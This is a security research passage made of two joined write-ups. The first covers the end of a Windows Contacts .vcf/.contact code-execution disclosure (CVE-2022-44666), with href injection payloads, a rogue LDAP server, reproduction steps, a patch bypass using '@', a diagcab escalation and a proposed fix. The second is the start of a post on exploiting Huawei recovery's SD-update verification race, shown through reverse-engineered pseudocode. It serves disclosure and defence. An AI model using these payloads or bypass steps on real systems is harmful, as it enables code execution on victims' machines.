URL;WORK:"></a><a href="\\vboxsvr\test\payload.exe">CLICKMEEEEE...</a>

The file info is queried but is never executed.

It’s possible to use relative paths such as:

URL;WORK:"></a><a href="foo\foo.exe">CLICKMEEEEE...</a>

Example:

URL;WORK:"></a><a href="hidden\payload.exe">CLICKMEEEEE...</a>

Just going further and while testing rundll32 as attack vector, just noticed it was not possible to use arguments with the payload executable selected. However using a lnk file which targets a chosen executable, it was possible to use cmdline arguments. It’s a bit tricky but it works.

URL;WORK:"></a><a href="hidden\run.lnk">CLICKMEEEEE...</a>

Target of run.lnk:

rundll32.exe hidden\payload.bin,Foo"

This looks more interesting because it’s not needed to drop an executable in the target system.

Impact

Remote Code Execution as the current user logged.

Proofs of Concept

It has to exist file association to use Windows Contacts to open .vcf files.

Update 2021/07/25: For Contact files (.contact) there is only one application to open them by default: Windows Contacts, even when MS Office is installed in the target system.

Using files located in ./report-pocs/:

  1. Double-click the file exploit.vcf (Update 2021/07/25: Or double-click the file exploit.contact).
  2. Do single click in one of «click-me» links.
  3. It launches notepad.exe using different ways to execution:
    • 3.1. Link 1: Run .lnk file that triggers rundll32 with a crafted library.
    • 3.2. Link 2: This triggers the execution of an executable located in folder «hidden» as a local path.
    • 3.3. Link 3: Directly.

There are a couple of videos attached in ./videos:

/videos/full-payload.gif: This is a more complex example which downloads a zip file that allows to trigger all the payloads.

This is a summary of the proof of concept files located in ./report-pocs/:

And files located in ./src:

  • dllmain.cpp: DLL library used as payload (payload.bin).
  • payload.cpp: Executable used as payload (payload.exe).

Further exploitation

For further exploitation and as the vulnerability doesn’t allow to load remote shared location files, uri protocol «search-ms» is an interesting vector. You’ll find proofs of concept which only trigger a local binary like calc or notepad and more complex proofs of concept that i’ve named as weaponized exploit, because of they don’t execute local files. These pocs & exploits are located in ./further-pocs/.

This is a summary of target applications:

In order to reproduce:

  1. Setup a remote shared location (SMB or WebDav). Copy content of ./further-pocs/to-copy-in-remote-shared-location/ into it.
  2. If wanted, hide the files running ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
  3. Modify file exploit.html/poc.html located in ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ to point to your remote shared location.
  4. Start a webserver in the target app path, that is: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.
  5. Run poc/exploit files depending on the case.
  6. For further info, watch the videos located in ./videos:

6.2. Exploit for browsers: ./videos/browsers-exploit.gif.

6.3. PoC for MS Word: ./videos/msword-poc.gif.

6.4. Exploit for MS Word: ./videos/msword-exploit.gif.

6.5. PoC for PDF Readers: ./videos/pdfreaders-poc.gif.

6.6. Exploit for PDF Readers: ./videos/pdfreaders-exploit.gif.

Additionally, these are all the files for further exploitation:

Contact Files

After receiving Update 2022/07/21 from MSRC’s, i decided to take a look into Contact file extension as it would confirm whether or not it’s the same case as that found by the original discoverer, and of course it is. My first proof of concept was just using a different file format, but the bug is the same. Just using wabmig.exe located in «C:\Program Files\Windows Mail» is possible to convert all the VCF files to Contact files.

And as mentioned in the intro updates, these files are opened by Windows Contacts (default program).

The steps to reproduce are the same than those used for VCF files. Same restrictions observed on VCF files are applied with Contact files, that is, it’s not possible to use remote shared locations for the attribute «href» but it’s still possible to use local paths or url protocol «search-ms».

These are all the files added or modified to exploit Contact files:

URL protocol LDAP

As mentioned above, this further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. This challenge was finally achieved thanks to ldap uri scheme.

...
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\LDAP]
@="URL:LDAP Protocol"
"EditFlags"=hex:02,00,00,00
"URL Protocol"=""

[HKEY_CLASSES_ROOT\LDAP\Clsid]
@="{228D9A81-C302-11cf-9AA4-00AA004A5691}"

[HKEY_CLASSES_ROOT\LDAP\shell]

[HKEY_CLASSES_ROOT\LDAP\shell\open]

[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,\
  00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,\
  4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,\
  00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...

That is:

"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

So just setting a rogue LDAP server up and serving the payload data, it’s possible to use this url protocol handler to launch Windows Contacts (wab.exe) with a malicious payload in the ldif attributes mail, url or wwwhomepage. Note that i was unable to do this working on the attribute «wwwhomepage» as indicated here, but it should theorically work.

The crafted ldif content is just something like this:

...
dn: dc=org
dc: org
objectClass: dcObject

dn: dc=example,dc=org
dc: example
objectClass: dcObject
objectClass: organization

dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people

dn: cn=Microsoft,ou=people,dc=example,dc=org
cn: Microsoft
gn: Microsoft
company: Microsoft
title: Microsoft KB5001337-hotfix
mail:"></a><a href="..\hidden\payload.lnk">Run-installer...</a>
url:"></a><a href="..\hidden\payload.exe">Run-installer...</a>
wwwhomepage:"></a><a href="notepad">Run-installer...</a>
objectclass: top
objectclass: person
objectClass: inetOrgPerson
...

And the code for the rogue ldap server was taken borrowed from the quick start server of ldaptor project, located over here.

This is a summary of target applications:

  • Browsers: MS Edge, Google Chrome, Mozilla Firefox & Opera.
  • MS Word.
  • PDF Readers (mainly Adobe Acrobat Reader DC & Foxit PDF Reader).

The steps to reproduce are:

  1. Copy ./further-pocs into remote shared location (SMB or WebDav).
  2. If wanted, hide the files running ./further-pocs/MSWord/setup-hidden.bat.
  3. Install ldaptor by pip: pip install ldaptor. Note this has been tested on Python 2.7 x64.
  4. Start rogue ldap server located in ./further-pocs/ldap-rogue-server/ldap-server.py
  5. Start a webserver in the target app path, that is: ./further-pocs/[vector or target app]/url-protocol-ldap/.
  6. Run exploit files depending on the case.
  7. For further info, watch the videos located in ./videos:

7.2. For MS Word: ./videos/ldap-msword-exploit.gif.

7.3. For PDF Readers: ./videos/ldap-pdfreaders-exploit.gif.

These are the additional files to exploit url protocol ldap:

CVE-2022-44666: Patch analysis and incomplete fix

On Dec 13, 2022 the patch for this vulnerability was released by Microsoft as CVE-2022-44666.

The versions used for diffing the patch (located in C:\Program Files\Common Files\System\wab32.dll) have been:

  • MD5: 588A3D68F89ABF1884BEB7267F274A8B (pre-patch)
  • MD5: D1708215AD2624E666AFD97D97720E81 (post-patch)

Diffing the affected library (wab32.dll) with Diaphora by @matalaz, we’ll find out some new functions:

And these are the partial matches:

Taking a look into the new code in function «fnSummaryProc»:

__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{

...

    if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) )  // (1)
    {
      v38 = (unsigned __int16 *)2085;
      v39 = &CPercentEncodeRFC3986::`vftable';
      v40 = v23;
      v41 = v26;
      v28 = CPercentEncodeString::Encode(
              (CPercentEncodeString *)&v39,
              (unsigned __int16 *)&Dst,
              (unsigned __int64 *)&v38,
              v25);
      v29 = v7;
      if ( !v28 )
      {
        v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
        SafeExecute(v29, v24, v30);  // (2)
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38);
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44; // (3)
      }
    }
    v31 = GetParent(v29);
    ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
    return 1i64;
  }
  ...
}

After the fix, the new code calls to the function «SafeExecute» (2) or show a message box (4).

To reach the call of the funcion «SafeExecute» (2) is possible to follow the code flow in (1):

_BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn)
{
  const WCHAR *v1; // rbx
  _BOOL8 result; // rax
  DWORD pcchOut; // [rsp+30h] [rbp-68h]
  char Dst; // [rsp+40h] [rbp-58h]

  v1 = pszIn;
  result = 0;
  if ( UrlIsW(pszIn, URLIS_URL) ) // (5)
  {
    memset_0(&Dst, 0, 0x40ui64);
    pcchOut = 32;
    if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0
      && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) )  // (6)
    {
      result = 1;
    }
  }
  return result;
}

This function first checks if the URL is valid in (5), then, it checks whether or not it starts with «http» or «https» in (6). This code path looks safe enough. Coming back to the function «fnSummaryProc», there’s another code path that could help to bypass the fix in (3).

__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
  unsigned __int16 v2; // ax
  unsigned __int16 **v3; // r14
  unsigned __int16 *v4; // rdi
  unsigned __int16 *v5; // r15
  unsigned __int16 v6; // dx
  unsigned __int16 *v7; // r8
  unsigned __int16 *v8; // rcx
  WCHAR v9; // ax
  _WORD *v10; // rsi
  int v11; // ebp
  LPWSTR v12; // rax
  unsigned __int16 *v14; // rax

  v2 = *a1;
  v3 = a2;
  v4 = a1;
  v5 = a1;
  while ( v2 && v2 != 0x3C )
  {
    a1 = CharNextW(a1);
    v2 = *a1;
  }
  v6 = *a1;
  v7 = a1;
  if ( *a1 )
  {
    v8 = a1 + 1;
    v4 = v8;
  }
  else
  {
    v8 = v4;
  }
  v9 = *v8;
  v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
  v11 = v6 != 0;
  if ( *v8 & 0xFFBF )
  {
    while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
    {
      if ( v9 == 0x40 )  // (7)
      {
        v14 = CharNextW(v8);
        if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) )  // (8)
          return 0i64;
        if ( v3 )
        {
          if ( v10 )
          {
            *v10 = 0;
            TrimSpaces(v5);
          }
          *v3 = v4;
        }
        return 1i64;
      }
      v12 = CharNextW(v8);
      v8 = v12;
      v9 = *v12;
      if ( !v9 )
        return 0i64;
    }
  }
  return 0i64;
}

One thing caught my attention about this in (7), where the code is checking whether it exists a char «@». Then, it calls to the function «IsDomainName» in order to check whether or not the string after the char «@» is a domain name:

__int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3)
{
  int v3; // edi
  int v4; // ebx
  int v5; // er9
  __int64 v6; // rdx

  v3 = a3;
  v4 = a2;
  if ( !a1 )
    return 0i64;
LABEL_2:
  v5 = *a1;
  if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E )
    return 0i64;
  while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) )
  {
    if ( (unsigned __int16)v5 >= 0x80u )
      return 0i64;
    if ( (unsigned __int16)(v5 - 10) <= 0x36u )
    {
      v6 = 19140298416324617i64;
      if ( _bittest64(&v6, (unsigned int)(v5 - 10)) )
        return 0i64;
    }
    if ( (_WORD)v5 == 46 )
    {
      a1 = CharNextW(a1);
      if ( a1 )
        goto LABEL_2;
      return 0i64;
    }
    a1 = CharNextW(a1);
    v5 = *a1;
  }
  if ( v4 )
  {
    if ( (_WORD)v5 != 0x3E )
      return 0i64;
    if ( v3 )
      *a1 = 0;
  }
  return 1i64;
}

So the bypass for the fix is pretty simple. It’s just necessary to use a single char «@». Symlink href attributes like these will successfully bypass the fix:

hidden\@payload.lnk
hidden\@payload.exe
hidden@payload.lnk
hidden@payload.exe

For further info, there’s a video for a standalone contact file.

Proof of concept located in ./bypass/report-pocs.

And another one for MS Word and LDAP url protocol.

Proof of concept located in ./bypass/further-pocs.

One day later the patch release, this information was sent to MSRC. Unfortunately, the case has been recently closed with no further info about it.

Diagcab file as payload

After CVE-2022-30190 also known as Follina vulnerability and CVE-2022-34713 also known as DogWalk vulnerability, a publicly known but underrated technique was reborn again thanks to @buffaloverflow. My mate and friend Eduardo Braun Prado gave me the idea to use this technique over here.

There are some pre-requirements to do this:

  1. The target user has to belong to administrator group. If not, there’s a UAC prompt.
  2. The diagcab file has to be signed, so the codesigning certificate must have been installed in the target computer.

A real attack scenario would pass for stealing a code signing certificate which is in fact installed in the target system. But as this is just a proof of concept, a self-signed code signing certificate was generated and used to sign the diagcab file named as @payload.diagcab.

So in order to repro, it’s needed to install the certificate located in cert.cer under Trusted Root Certificate Authority like this:

To finally elevate the priveleges, a token stealing/impersonation could be used. In this case, «parent process» technique was the chosen one. A modified version for this script was included inside the resolver scripts.

For further info, there’s a video for MS Word and LDAP url protocol.

Proof of concept located in ./bypass/diagcab-pocs.

Proposed fix

Remember the vulnerable code in the function «fnSummaryProc»:

...
LABEL_44:
        SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44;
      }
    }
...

The function «IsInternetAddress» was intentionally created to check if the href attr corresponds to any email address. So my proposed fix (and following the imported functions that the library uses) would be:

...
      if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
      {
          v30 = v23;
          goto LABEL_44;
      }
...

So simple like this, it’s only needed to check this out before calling to «SafeExecute». Just testing if the target string (v23) starts with «mailto:», the bug would be fully fixed IMHO.

Unofficial fix

Some days/weeks ago when i contacted @mkolsek of 0patch to inform him about this issue, who by the way is always very kind to me, told me this has been receiving an unofficial fix for Windows 7 since then (4 years ago). That was a surprise and good news!

It was tested and successfully stopped the new variant of CVE-2022-44666. The micropatch prepends «http://» to the attacker-controlled string passed by the href attr if doesn’t start with «mailto:», «http://» or «https://», which is enough to fully fix the issue. Now it’s going to be extended for the latest Windows versions, only necessary to update some offsets.

Either way, it would be better to get an official patch.

Acknowledgments

  • @hyp3rlinx: Special shout out and acknowledgement because he began this research some years ago and his work was essential for this writeup. He should have been also credited for finding this out but unfortunately i was unable to contact him just in time. It’s already been done (Update 2023/02/08).
  • @Edu_Braun_0day: who also worked around this issue.
  • @mkolsek.
  • @matalaz.
  • @buffaloverflow.
  • @msftsecresponse.

By @j00sean

[BugTales] REUnziP: Re-Exploiting Huawei Recovery With FaultyUSB

[BugTales] REUnziP: Re-Exploiting Huawei Recovery With FaultyUSB

Original text by Lorant Szabo

Last year we published UnZiploc, our research into Huawei’s OTA update implementation. Back then, we have successfully identified logic vulnerabilities in the implementation of the Huawei recovery image that allowed root privilege code execution to be achieved by remote or local attackers. After Huawei fixed the vulnerabilities we have reported, we decided to take a second look at the new and improved recovery mode update process.

This time, we managed to identify a new vulnerability in a proprietary mode called “SD-Update”, which can once again be used to achieve arbitrary code execution in the recovery mode, enabling unauthentic firmware updates, firmware downgrades to a known vulnerable version or other system modifications. Our advisory for the vulnerability is published here.

The story of exploiting this vulnerability was made interesting by the fact that, since the exploit abuses wrong assumptions about the behavior of an external SD card, we needed some hardware-fu to actually be able to trigger it. In this blog post, we describe how we went about creating “FaultyUSB” — a custom Raspberry Pi based setup that emulates a maliciously behaving USB flash drive — and exploiting this vulnerability to achieve arbitrary code execution as root!

Huawei SD-update: Updates via SD Card

Huawei devices implement a proprietary update solution, which is identical throughout Huawei’s device lineup regardless of the employed chipset (Hisilicon, Qualcomm, Mediatek) or the used base OS (EMUI, HarmonyOS) of a device.

This common update solution has in fact many ways to apply a system update, one of them is the “SD-update”. As its name implies, the “SD-update” method expects the update file to be stored on an external media, such as on an SD card or on an USB flash drive. After reverse engineering how Huawei implements this mode, we have identified a logic vulnerability in the handling of the update file located on external media, where the update file gets reread between different verification phases.

While this basic vulnerability primitive is straightforward, exploitation of it presented some interesting challenges, not least of which was that we needed to develop a custom software emulation of an USB flash drive to be able to provide the recovery with different data on each read, as well as we had to identify additional gaps of the update process authentication implementation to make it possible to achieve arbitrary code execution as root in recovery mode.

Time-of-Check to Time-of-Use

The root cause of the vulnerability lies in an unfortunate design decision of the external media update path of the recovery binary: when the user supplies the update files on a memory card or a USB mass-storage device, the recovery handles them in-place.

In bird’s-eye view the update process contains two major steps: verification of the ZIP file signature and then applying the actual system update. The problem is that the recovery binary accesses the external storage device numerous times during the update process; e.g. first it discovers the relevant update files, then reads the version and model numbers, verifies the authenticity of the archive, etc.

So in case of an legitimate update archive, once the verification succeeds, the recovery tries to read the media again to perform the actual installation. But a malicious actor can swap the update file just between the two stages, thus the installation phase would use a different, thus unverified update archive. In essence, we have a textbook “Time-of-Check to Time-of-Use” (ToC-ToU) vulnerability, indicating that a race condition can be introduced between the “checking” (verification) and the “using” (installation) stages. The next step was figuring out how we could actually trigger this vulnerability in practice!

Attacking Multiple Reads in the Recovery Binary

With an off-the-shelf USB flash drive it is very clear that by considering a specific offset, two reads without intermediate writes must result in the same data, otherwise the drive would be considered faulty. So in terms of the update procedure this means the data-consistency is preserved: during the update for each point in time the data on the external drive matches up with what the recovery binary reads. Consequently, as long as a legitimate USB drive is used, the design decision of using the update file in-place is functionally correct.

Now consider a “faulty” USB flash drive, which returns different data when the same offset if read twice (of course, without any writes between them). This would break the data-consistency assumption of the update process, as it may happen that different update steps see the update file differently.

The update media is basically accessed for three distinct reasons: listing and opening files, opening the update archive as a traditional ZIP file, and reading the update archive for Android-specific signature verification. These access types could enable different modes of exploiting this vulnerability by changing the data returned by the external media. For example, in the case of multiple file system accesses of the same location, the 

update.zip
file itself can be replaced as-is with a completely unrelated file. Alternatively, multiple reads during the ZIP parsing can be turned into smuggling new ZIP entries inside the original archive (see the CVE-2021-40045: Huawei Recovery Update Zip Signature Verification Bypass vulnerability in UnZiploc).

Accordingly, multiple kinds of exploitation goals can be set. For example by only modifying the content of the 

UPDATE.APP
 file of the update archive at install time, an arbitrary set of partitions can be written with arbitrary data on the main flash. A more generic approach is to gain code execution just before writing to flash in the 
EreInstallPkg
 function, by smuggling a custom 
update-binary
 into the ZIP file.

In the following we are going to use the approach of injecting a custom binary in order to achieve the arbitrary code execution by circumventing the update archive verification.

At this point we must mention a crucial factor: the caching behavior of the underlying Linux system and its effects on exploitability. For readability reasons this challenge is outlined in the next section, so for now we continue with the assumption that we will be able to swap results between repeated read operations.

Sketching out the code flow of an update procedure helps understanding exactly where multiple reads can occur. Since our last exploit) of Huawei’s recovery mode some changes have occured (e.g. functions got renamed), so the update flow is detailed again here for clarity.

First of all, the “SD-update” method is handled by 

HuaweiUpdateNormal
, which essentially wraps the 
HuaweiUpdateBase
 function. Below is an excerpt of the function call tree of 
HuaweiUpdateBase
, mostly indicating the functions which interact with the update media or contain essential verification functions.

HuaweiUpdateBase
├── [> DoCheckUpdateVersion <]
│   ├── {> hw_ensure_path_mounted("/usb") <}
│   ├── CheckVersionInZipPkg
│   │   ├── mzFindZipEntry("SOFTWARE_VER_LIST.mbn")
│   │   ├── mzFindZipEntry("SD_update.tag")
│   │   ├── mzFindZipEntry("OTA_update.tag")
│   │   ├── DoCheckVersion
│   │   ├── mzFindZipEntry("BOARDID_LIST.mbn")
│   └── {> hw_ensure_path_unmounted("/usb") <}
└── HuaweiOtaUpdate
    └── DoOtaUpdate
        ├── MountSdCardWithRetry
        │   └── {> hw_ensure_path_mounted("/usb") <}
        ├── PkgTypeUptVerPreCheck
        │   └── HwUpdateTagPreCheck
        │       └── UpdateTagCheckInPkg
        │           ├── mzFindZipEntry("full_mainpkg.tag")
        │           └── GetInfoFromTag("UPT_VER.tag")
        ├── [> HuaweiUpdatePreCheck <]
        │   ├── HuaweiSignatureAndAuthVerify
        │   │   ├── HwMapAndVerifyPackage
        │   │   │   ├── do_map_package
        │   │   │   │   └── hw_ensure_path_mounted("/usb")
        │   │   │   ├── HwSignatureVerifyPackage
        │   │   │   │   ├── GetInfoFromTag("hotakey_sign_version.tag")
        │   │   │   │   └── verify_file_v1
        │   │   │   │       └── verifyInstance.Verify
        │   │   │   └── GetInfoFromTag("META-INF/CERT.RSA")
        │   │   ├── IsSdRootPackage
        │   │   │   └── get_zip_pkg_type
        │   │   │       ├── mzFindZipEntry("SD_update.tag")
        │   │   │       ├── mzFindZipEntry("OTA_update.tag")
        │   │   │       └── get_pkg_type_by_tag
        │   │   │           └── mzFindZipEntry("OTA/SD_update.tag")
        │   │   └── HwUpdateAuthVerify
        │   │       ├── IsNeedUpdateAuth
        │   │       ├── IsUnauthPkg
        │   │       │   ├── IsSDupdatePackageCompress
        │   │       │   │   └── mzFindZipEntry("SD_update.tag")
        │   │       │   └── mzFindZipEntry("skipauth_pkg.tag")
        │   │       └── get_update_auth_file_path
        │   │           └── mzFindZipEntry("VERSION.mbn")
        │   ├── DoSecVerifyFromZip
        │   │   └── HwSecVerifyFromZip
        │   │       └── mzFindZipEntry("sec_xloader_header")
        │   ├── IsAllowShipDeviceUpdate
        │   ├── MtkDevicePreUpdateCheck
        │   ├── CheckBoardIdInfo
        │   │   └── mzFindZipEntry("BOARDID_LIST.mbn")
        │   ├── UpdatePreCheck_wrapper
        │   │   └── UpdatePreCheck
        │   │       └── CheckPackageInfo
        │   │           ├── MapAndOpenZipPkg
        │   │           ├── InitPackageInfo
        │   │           │   └── mzFindZipEntry("packageinfo.mbn")
        │   │           └── CheckZipPkgInfo
        │   └── USBUpdateVersionCheck
        ├── HuaweiUpdatePreUpdate
        └── [> EreInstallPkg <]
            ├── hw_setup_install_mounts
            │   └── {> hw_ensure_path_unmounted("/usb") <}
            ├── do_map_package
            │   └── {> hw_ensure_path_mounted("/usb") <}
            ├── mzFindZipEntry("META-INF/com/google/android/update-binary")
            └── execv("/tmp/update_binary")

The functions in square brackets divide the update process into three phases:

  • Device firmware version compatibility checking
  • Android signature verification, update type and version checking
  • Update installation via the provided 
    update-binary
     file

In the first stage the version checking makes sure that the provided update archive is compatible with the current device model and the installed OS version. (The code snippets below are from the reverse engineered pseuodocode.)

bool DoCheckUpdateVersion(ulong argc, char **argv) {

  ... /* ensures the battery is charged enough, else exit */

  for (pkgIndex = 1; argc <= pkgIndex; pkgIndex++) {
    curr_arg = argv[pkgIndex];
    if (curr_arg || !strncmp(curr_arg,"--update_package=",0x11)) {
      log("%s:%s,line=%d:skip path:%s,pkgIndex:%d\n","Info","CheckAllPkgVersionAllow",0x1dd,curr_arg,pkgIndex & 0xffffffff);
      continue;
    }
    curr_arg = curr_arg + 0x11;
    log("%s:%s,line=%d:reallyPath:%s\n","Info","DoCheckUpdateVersion",0x1c0,curr_arg);

    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * Here curr_arg points to the file path of the update archive *
     * The media which contains this file is getting mounted       *
     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    r = hw_ensure_path_mounted_wrapper(curr_arg,"DoCheckUpdateVersion");
    if (r < 0) {
      log("%s:%s,line=%d:mount %s fail\n","Err","DoCheckUpdateVersion",0x1c2,curr_arg);
      return false;
    }

    set_versioncheck_flag(0);
    SetPkgSignatureFlag(1);

    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * Examine the 'SOFTWARE_VER_LIST.mbn' file for compatibility  *
     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    check_ret = CheckVersionInZipPkg(curr_arg);
    SetPkgSignatureFlag(0);

    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * Explicitly unmount the media holding the update archive     *
     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    r = hw_ensure_path_unmounted_wrapper(curr_arg,"DoCheckUpdateVersion");
    if (r < 0) {
      log("%s:%s,line=%d:unmount %s fail\n","Warn","DoCheckUpdateVersion",0x1cb,curr_arg);
    }

    if ((check_ret & 1) == 0) {
      log("%s:%s,line=%d:%s,not allow in version control\n","Err","DoCheckUpdateVersion",0x1ce,curr_arg);
      log("%s:%s,line=%d:push UPDATE_VERSION_CHECK_FAIL_L1\n","Info","DoCheckUpdateVersion",0x1cf);
      push_command_stack(&command_stack,0x85);
      return false;
    }
    ret = true;
  }

  return ret;
}

The second stage contains most of the complex verification functionality, such as checking the Android-specific cryptographic signature and the update authentication token. It also performs an extensive inspection on the compatibility of the update and the device.

int HuaweiOtaUpdate(int argc, char **argv) {
  ...
  log("%s:%s,line=%d:push HOTA_BEGIN_L0\n","Info","HuaweiOtaUpdate",0x5a6);
  ...
  ret = DoOtaUpdate(argc, argv);
  ...
}

int DoOtaUpdate(int argc, char **argv) {
  ... /* tidy the update package paths */

  g_totalPkgSz = 0;
  for (pkgIndex = 0; pkgIndex < count; pkgIndex++) {
    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * The media which contains the update package gets mounted here *
     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    MountSdCardWithRetry(path_list[pkgIndex],5);

    ... /* ensuring that the update package does exist */

    pkgIndex = pkgIndex + 1;
    g_totalPkgSz = g_totalPkgSz + auStack568._48_8_;
  } while (pkgIndex < count);
  log("%s:%s,line=%d:g_totalPkgSz = %llu\n","Info","DoOtaUpdate",0x45b,g_totalPkgSz);

  result = PkgTypeUptVerPreCheck(argc,argv,ProcessOtaPackagePath);
  if ((result & 1) == 0) {
    log("%s:%s,line=%d:PkgTypeUptVerPreCheck fail\n","Err","DoOtaUpdate",0x460);
    return 1;
  }
  result = HuaweiUpdatePreCheck(path_list,loop_counter,count);
  if ((result & 1) == 0) {
    log("%s:%s,line=%d:HuaweiUpdatePreCheck fail\n","Err","DoOtaUpdate", 0x465);
    return 1;
  }
  result = HuaweiUpdatePreUpdate(path_list,loop_counter,count);
  if ((result & 1) == 0) {
    log("%s:%s,line=%d:HuaweiUpdatePreUpdate fail\n","Err","DoOtaUpdate", 0x46b);
    return 1;
  }

  ...

  for (pkgIndex = 0; pkgIndex < count; pkgIndex++) {
    log("%s:%s,line=%d:push HOTA_PRE_L1\n","Info","DoOtaUpdate",0x474);
    push_command_stack(&command_stack,3);
    package_path = path_list[pkgIndex];
    ... /* ensure the package does exists */
    ... /* update the visual update progress bar */
    log("%s:%s,line=%d:pop HOTA_PRE_L1\n","Info","DoOtaUpdate",0x48d);
    pop_command_stack(&command_stack);
    log("%s:%s,line=%d:push HOTA_PROCESS_L1\n","Info","DoOtaUpdate",0x48f);
    push_command_stack(&command_stack,4);
    log("%s:%s,line=%d:OTA update from:%s\n","Info","DoOtaUpdate",0x491,
        package_path);

    /* 'IsPathNeedMount' returns true for the SD update package paths */
    needs_mount = IsPathNeedMount(package_path_string);
    ret = EreInstallPkg(package_path,local_1b4,"/tmp/recovery_hw_install",needs_mount & 1);

    ... /* update the visual update progress bar */
  }
}

int MountSdCardWithRetry(char *path, uint retry_count) {
  ... /* sanity checks */
  if (retry_count < 6 && (!strstr(path,"/sdcard") || !strstr(path,"/usb"))) {
    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * USB drives mounted under the '/usb' path, so this path is taken     *
     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    for (trial_count = 1; trial_count < retry_count; trial_count++) {
      if (hw_ensure_path_mounted(path))
        return 0;
      ... /* error handling */
      sleep(1);
    }
    log("%s:%s,line=%d:mount %s fail\n","Err","MountSdCardWithRetry",0x8b1,path);
    return -1;
  }
  if (hw_ensure_path_mounted(path)) {
    ... /* error handling */
    return -1;
  }
  return 0;
}

Finally in the third stage the update installation begins by extracting the 

update-binary
 from the update archive and executing it. From this point forward, the bundled update binary handles the rest of update process, like extracting the 
UPDATE.APP
 file containing the actual data to be flashed.

uint EreInstallPkg(char *path, undefined *wipeCache, char *last_install, bool need_mount) {
  ... /* create and write the 'path' value into the 'last_install' file */
  if (!path || g_otaUpdateMode != 1 ||  get_current_run_mode() != 2) {
    log("%s:%s,line=%d:path is null or g_otaUpdateMode != 1 or current run mode  is %d!\n","Err","HuaweiPreErecoveyUpdatePkgPercent",0x493,get_current_run_mode());
    ret = hw_setup_install_mounts();
  } else {
    ... /* with SD update mode this path is not taken */
  }
  if (!ret) {
    log("%s:%s,line=%d:failed to set up expected mounts for install,aborting\n",
        "Err","install_package",0x5b8);
    return 1;
  }
  ... /* logging and visual progess related functions */
  ret = do_map_package(path, need_mount & 1, &package_map);
  if (!ret) {
    log("%s:%s,line=%d:map path [%s] fail\n","Err","ReallyInstallPackage",0x575,path);
    return 2;
  }

  zip_handle = mzOpenZipArchive(package_map,package_length,&archive);
  ... /* error handling */
  updatebinary_entry = mzFindZipEntry(&archive,"META-INF/com/google/android/update-binary");
  log("%s:%s,line=%d:push HOTA_TRY_BINARY_L2\n","Info","try_update_binary",0x21e);
  push_command_stack(&command_stack,0xd);
  ... /* error handling */
  unlink("/tmp/update_binary");
  updatebinary_fd = creat("/tmp/update_binary",0x1ed);
  mzExtractZipEntryToFile(&archive,update-binary_entry,updatebinary_fd);
  EnsureFileClose(updatebinary_fd,"/tmp/update_binary");
  ... /* FindUpdateBinaryFunc: check the kind of the update archive */
  mzCloseZipArchive(&archive);
  ...

  if (fork() == 0) {
    ...
    execv(updatebinary_path, updatebinary_argv);
    _exit(-1);
  }
  log("%s:%s,line=%d:push HOTA_ENTERY_BINARY_L3\n","Info","try_update_binary",0x295);
  push_command_stack(&command_stack,0x16);

  ...
}

int hw_setup_install_mounts(void) {
  ...
  for (partition_entry : g_partition_table) {
    if (!strcmp(partition_entry, "/tmp")) {
      if (hw_ensure_path_mounted(partition_entry)) {
        log("%s:%s,line=%d:failed to mount %s\n","Err","hw_setup_install_mounts",0x5a1,partition_entry);
        return -1;
      }
    }
    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * Every entry in the partition table gets unmounted except /tmp *
